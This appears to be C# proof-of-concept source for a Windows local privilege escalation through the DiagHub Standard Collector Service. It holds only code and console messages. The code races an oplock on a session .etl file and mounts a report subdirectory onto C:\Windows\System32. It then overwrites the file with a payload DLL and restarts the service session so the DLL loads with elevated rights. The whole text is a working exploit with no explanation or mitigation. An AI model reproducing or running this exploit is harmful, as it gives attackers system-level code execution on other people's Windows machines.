public virtual extern ICollectionSession CreateSession( [In] ref SessionConfiguration sessionConfig, [MarshalAs(UnmanagedType.Interface)][In] IStandardCollectorClientDelegate clientDelegate = null );
public static void Main(string[] args) { if (!File.Exists("Payload.dll")) { Console.WriteLine("Put Payload.dll in current directory"); return; } NtFile ntFile; var sessionId = Guid.NewGuid(); var bytes = File.ReadAllBytes("Payload.dll"); // F12 = Developer Tools in IE/Edge, which also uses DiagHub Collector Service for profiling // This can be any user-writable folder though var scratch = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler"; Console.WriteLine("[-] Creating scratch directory"); if (!Directory.Exists(scratch)) { Directory.CreateDirectory(scratch); } // Create sessions config with sessionId, procId, and scratch location var procId = Process.GetCurrentProcess().Id; var sessionConfiguration = new SessionConfiguration { ClientLocale = (ushort)CultureInfo.InvariantCulture.LCID, CollectorScratch = scratch, Location = CollectionLocation.Local, Flags = SessionConfigurationFlags.None, LifetimeMonitorProcessId = (uint)procId, SessionId = sessionId, Type = CollectionType.Etw }; // Use the default collector agent: {E485D7A9-C21B-4903-892E-303C10906F6E} DiagnosticsHub.StandardCollector.Runtime.dll var agents = new Dictionary <Guid, string> { { DefaultAgent.Clsid, DefaultAgent.AssemblyName } }; var procIds = new List <uint> { (uint)procId }; Console.WriteLine("[-] Creating instance of IStandardCollectorService"); _service = GetCollectorService(); Console.WriteLine("[-] Setting proxy blanket for service"); SetProxyBlanketForService(_service); Console.WriteLine("[-] Starting collector service session"); Start(sessionConfiguration, agents, procIds); Console.WriteLine($"[-] Getting session: {sessionId}"); var session = _service.GetSession(sessionId); Console.WriteLine("[-] Querying session state"); session.QueryState(); new Thread(() => { Thread.Sleep(500); // This helps populate the .etl file try { Console.WriteLine("[-] Getting current session result"); session.GetCurrentResult(false); // Triggers createion of merged 1.m.etl file } catch (Exception) { } }).Start(); var reportDir = $@"{scratch}\Report.{sessionId}.1"; var etlFile = $"{sessionId}.1.m.etl"; Console.WriteLine($"[-] Attempting to open {etlFile} with OpLock"); while (true) { // Get handle immediately upon service closing file try { ntFile = NtFile.Open($@"\??\{scratch}\{etlFile}", null, FileAccessRights.GenericRead | FileAccessRights.GenericWrite | FileAccessRights.MaximumAllowed | FileAccessRights.Synchronize, FileShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock | FileOpenOptions.SynchronousIoNonAlert); if (ntFile.OpenResult != FileOpenResult.Opened) { continue; } Console.WriteLine($"[+] Opened with handle: {ntFile.Handle.DangerousGetHandle()}"); break; } catch (Exception) { } } // Attempt to find the random sub-directory and then create mount point to System32 try { Console.WriteLine($"[-] Looking for sub-directories in {reportDir}"); while (true) { if (!Directory.Exists(reportDir)) { continue; } var dirs = Directory.GetDirectories(reportDir); if (dirs.Length != 1) // Very rare, but did happen during testing { throw new Exception("Didn't find exactly 1 subdirectory, try running again"); } Console.WriteLine($"[+] Found sub-directory: {dirs[0]}"); Console.WriteLine($@"[-] Creating mount point: \??\{dirs[0]} -> \??\C:\Windows\System32"); NtFile.CreateMountPoint($@"\??\{dirs[0]}", @"\??\C:\Windows\System32", null); break; } } catch (Exception ex) { Console.WriteLine($"[!] Failed to create mount point: {ex.Message}"); } // Overwrite the contents of etl file with payload DLL try { Console.WriteLine($"[-] Overwriting {etlFile} with DLL bytes"); ntFile.Write(bytes); ntFile.SetEndOfFile(bytes.Length); ntFile.Close(); } catch (Exception ex) { Console.WriteLine($"[!] Error writing bytes... {ex.Message}"); } Console.WriteLine("[-] Stopping session to trigger CopyFile"); _service.GetSession(sessionId).Stop(); // Wait a second and then check to see if file was copied Thread.Sleep(1000); if (File.Exists($@"C:\Windows\System32\{etlFile}")) { Console.WriteLine($@"[+] DLL successfully copied to C:\Windows\System32\{etlFile}"); } // Setup agents with path to copied etlFile (malicious DLL) var badAgent = new Dictionary <Guid, string> { { DefaultAgent.Clsid, DefaultAgent.AssemblyName }, { sessionId, etlFile } }; Console.WriteLine("[-] Getting new collector service"); _service = GetCollectorService(); SetProxyBlanketForService(_service); Console.WriteLine("[-] Starting session with DLL payload"); Start(sessionConfiguration, badAgent, procIds); Console.WriteLine($@"[+] All Done! Remember to delete the DLL: C:\Windows\System32\{etlFile}"); Console.ReadLine(); }